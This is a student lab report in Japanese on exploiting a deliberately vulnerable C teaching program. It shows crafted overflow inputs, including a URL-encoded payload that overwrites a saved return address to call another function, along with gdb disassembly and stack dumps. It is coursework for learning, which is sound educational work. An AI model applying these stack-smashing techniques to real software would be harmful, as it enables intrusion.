情報理工学部　SN コース 3 回
C プログラム脆弱性実習レポート

2600200443-6
Yamashita Kyohei
山下 恭平

Apr 25 2021

1　問 1

1.1　解答

入力文字に「Sophisticated」と入力した。その結果を図 1 に示す。

```
[is0585xf@noaslr:~$ ./test
文字列を入力:
[Sophisticated

出力文字列:
Sophisticated
Hello, World!!!
This is a pen.
sub1() returns 0
is0585xf@noaslr:~$
```

図 1　出力結果

2　問 2

2.1　解答

「%E5%B1%B1%E4%B8%8B%E6%81%AD%E5%B9%B3」と入力し、出力として「山下恭平」を得た。その結果を図 2 に示す。

```
[is0585xf@noaslr:~$ ./test
文字列を入力:
[%E5%B1%B1%E4%B8%8B%E6%81%AD%E5%B9%B3

出力文字列:
山下恭平

This is a pen.
sub1() returns 0
is0585xf@noaslr:~$
```

図 2　出力結果

2.2　解説

GCC でプログラムをコンパイルするとき、文字列は UTF-8 でコンパイルされるので、直接メモリ上に UTF-8 の文字コードを入力することで実現した。

3　問 3

3.1　解答

入力に「012345678901234567890123456789012345678901Ritsumeikan」と与え、題意を満たす出力を得た。その結果を図 3 に示す。

```
[is0585xf@noaslr:~$ ./test
文字列を入力:
[012345678901234567890123456789012345678901Ritsumeikan

出力文字列:
012345678901234567890123456789012345678901Ritsumeikan
Ritsumeikan
This is a pen.
sub1() returns 0
is0585xf@noaslr:~$
```

図 3　出力結果

4　問 4

4.1　解答

入力に「012345678901234567890123456789012345678901Ritsumeikan12345%38%40%40」と与え、題意を満たす出力を得た。その結果を図 4 に示す。

```
[is0585xf@noaslr:~$ ./test
文字列を入力:
[012345678901234567890123456789012345678901Ritsumeikan12345%38%40%40

出力文字列:
012345678901234567890123456789012345678901Ritsumeikan123458@@
Ritsumeikan123458@@
I have an apple.
Segmentation fault
is0585xf@noaslr:~$
```

図 4　出力結果

5　問 5

5.1　解答

入力に「012345678901234567890123456789 01Ritsumeikan12345%28%40%40%00%00%40%40%00%00%10%fc%b7%18%f6%ff%bf%c9%11%40」と与え、題意を満たす出力を得た。その結果を図 5 に示す。

```
is0585xf@noaslr:~$ ./test a
各変数が格納されているアドレス:
st1  : 0x404028
st2  : 0x404038
d    : 0xbfffe5d4
s    : 0xbfffe5d8
buf  : 0xbfffe5dc
str  : 0xbfffe5fc
p    : 0xbfffe60c
各関数のアドレス:
sub1 : 0x4011f4
sub2 : 0x4011c9

文字列を入力:
012345678901234567890123456789 01Ritsumeikan12345%28%40%40%00%00%40%40%00%00%10%fc%b7%18%f6%ff%bf%c9%11%40

出力文字列:
012345678901234567890123456789 01Ritsumeikan12345(@@
Ritsumeikan12345(@@
This is a pen.
Bingo!
Segmentation fault
is0585xf@noaslr:~$
```

図 5　出力結果

5.2　解説

test を gdb を用いてデバッグを行った。初めにメイン関数をディスアセンブリし、戻りアドレスを特定した。(図 6)

```
0x004014b3 <+43>:    sub    $0xc,%esp
0x004014b6 <+46>:    push   %eax
0x004014b7 <+47>:    call   0x4011f4 <sub1>
0x004014bc <+52>:    add    $0x10,%esp
```

sub1の呼び出し

戻り先

図 6　出力結果

次に、buf を先頭に 108 バイト分のメモリの内容を表示し、戻りアドレス「0x004014bc」が eip(0xbfffe5ec) に格納されているのを確認する。この時 IntelCPU はリトルエンディアンであるので、メモリには下位ビットである「bc」から格納されていることに気をつける。(次ページ図 7)

書き換えるアドレスを特定したので、オーバーフローを起こし書き換えていくが、リターン実行前にセグメンテーションフォルトを起こしてはいけないので、buf,str の外側ではあらかじめメモリに格納されていたアドレスを格納していき、戻りアドレスだけを書き換える必要がある。

```
(gdb) x/108bx buf
0xbfffe5ac:     0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0xbfffe5b4:     0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0xbfffe5bc:     0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0xbfffe5c4:     0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0xbfffe5cc:     0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0xbfffe5d4:     0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0xbfffe5dc:     0x00    0x00    0x00    0x00    0x00    0x40    0x40    0x00
0xbfffe5e4:     0x00    0x10    0xfc    0xb7    0x18    0xf6    0xff    0xbf
0xbfffe5ec:     0xbc    0x14    0x40    0x00    0x00    0x00    0x00    0x00
0xbfffe5f4:     0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0xbfffe5fc:     0xa2    0x14    0x40    0x00    0x00    0x00    0x00    0x00
0xbfffe604:     0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0xbfffe60c:     0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0xbfffe614:     0x00    0x00    0x00    0x00
(gdb) i f
Stack level 0, frame at 0xbfffe5f0:
 eip = 0x401207 in sub1 (test.c:16); saved eip = 0x4014bc
 called by frame at 0xbffff630
 source language c.
 Arglist at 0xbfffe5e8, args: hint=0
 Locals at 0xbfffe5e8, Previous frame's sp is 0xbfffe5f0
 Saved registers:
  ebx at 0xbfffe5e0, ebp at 0xbfffe5e8, esi at 0xbfffe5e4, eip at 0xbfffe5ec
(gdb)
```

ここを書き換える

図 7　出力結果